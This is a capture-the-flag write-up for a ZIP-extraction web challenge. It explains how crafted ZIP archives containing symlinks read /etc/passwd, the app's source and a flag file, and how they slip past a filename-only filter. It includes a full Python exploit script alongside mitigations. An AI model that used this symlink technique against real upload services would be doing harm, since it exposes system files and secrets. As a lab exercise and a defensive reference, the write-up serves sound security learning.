138 - Распаковщик (Unpacker)
138 - Распаковщик (Unpacker)
Platform: duckerz | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: filter_bypass, local_file_inclusion, source_code_leak, zip_symlink_attack
Summary
Task: ZIP file upload service that extracts archives. Solution: ZIP symlink attack to achieve LFI, bypassing filename-based filter to read the flag.
138 - Распаковщик (Unpacker) — duckerz
Description
Вы нашли старый веб-сервис для распаковки ZIP-архивов, сохранившийся с тех времён, когда 50 КБ считалось серьёзным ограничением.
(Translation: "You found an old web service for unpacking ZIP archives, preserved from the times when 50 KB was considered a serious limitation.")
URL: http://tasks.duckerz.ru:30021
Analysis
Reconnaissance
- Web service accepts ZIP files up to 50 KB
- Extracts them using the
unzipcommand and displays contents - Backend: Flask/gunicorn on Python
- Files are extracted to
/upload/<random_hash>/directory
Vulnerability Identification
ZIP Symlink Attack - ZIP archives can contain symbolic links. When extracted via unzip, these symlinks point to arbitrary files on the system, enabling Local File Inclusion (LFI).
Solution
Step 1: Confirming the symlink vulnerability
Create a ZIP with a symlink to /etc/passwd:
python read-only • copy allowedimport zipfile import io zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w') as zf: info = zipfile.ZipInfo('link_to_passwd') info.external_attr = 0xA1ED0000 # Unix symlink attribute info.create_system = 3 # Unix zf.writestr(info, '/etc/passwd') with open('symlink.zip', 'wb') as f: f.write(zip_buffer.getvalue())
Result: Successfully read /etc/passwd - vulnerability confirmed!
Step 2: Reading application source code
Create a symlink to /proc/self/cwd to access the current working directory, find main.py.
Key findings from main.py:
python read-only • copy allowedFLAG_PATH = '/secret/80e628a3/flag.txt' # Bruh, why is it here? # Protection mechanism: if any(word in rel_path for word in ['unusual', 'secret']): return redirect(url_for('index'))
Step 3: Bypassing the protection
The protection checks rel_path (the symlink filename), NOT the symlink target. Therefore, a symlink named flag pointing to /secret/80e628a3/flag.txt bypasses the check!
Step 4: Getting the flag
python read-only • copy allowedimport zipfile import io zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w') as zf: info = zipfile.ZipInfo('flag') info.external_attr = 0xA1ED0000 # Unix symlink attribute info.create_system = 3 # Unix zf.writestr(info, '/secret/80e628a3/flag.txt') with open('getflag.zip', 'wb') as f: f.write(zip_buffer.getvalue())
Upload and access: http://tasks.duckerz.ru:30021/upload/<hash>/flag
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ ZIP Symlink Attack exploit for duckerz CTF - Unpacker challenge Creates malicious ZIP files with symlinks for LFI """ import zipfile import io import sys def create_symlink_zip(symlink_name: str, target_path: str, output_file: str): """ Create a ZIP file containing a symbolic link Args: symlink_name: Name of the symlink file in the archive target_path: Target path the symlink will point to output_file: Output ZIP filename """ zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w') as zf: info = zipfile.ZipInfo(symlink_name) # 0xA1ED0000 = Unix symlink with permissions 0777 # Breakdown: 0xA = symlink type, 0x1ED = 0755 permissions info.external_attr = 0xA1ED0000 info.create_system = 3 # Unix zf.writestr(info, target_path) with open(output_file, 'wb') as f: f.write(zip_buffer.getvalue()) print(f"[+] Created {output_file}") print(f" Symlink: {symlink_name} -> {target_path}") def main(): # Step 1: Read /etc/passwd to confirm vulnerability create_symlink_zip('passwd', '/etc/passwd', 'test_lfi.zip') # Step 2: Read application source via /proc/self/cwd create_symlink_zip('cwd', '/proc/self/cwd', 'read_cwd.zip') create_symlink_zip('main', '/proc/self/cwd/main.py', 'read_main.zip') # Step 3: Get the flag (bypass filter by using innocent filename) # Filter checks rel_path, not symlink target! create_symlink_zip('flag', '/secret/80e628a3/flag.txt', 'getflag.zip') print("\n[*] Upload getflag.zip and access /upload/<hash>/flag") if __name__ == '__main__': main()
Defense
-
Validate ZIP contents before extraction:
python read-only • copy allowedwith zipfile.ZipFile(archive) as zf: for info in zf.infolist(): if info.external_attr >> 28 == 0xA: # symlink raise SecurityError("Symlinks not allowed") -
Use
--no-symlinksflag when extracting:bash read-only • copy allowedunzip --no-symlinks archive.zip -
Validate symlink target, not just the filename
-
Isolation - extract in chroot/container
References
- HackTricks - ZIP Symlink Upload
- Zip Slip Vulnerability
- CWE-59: Improper Link Resolution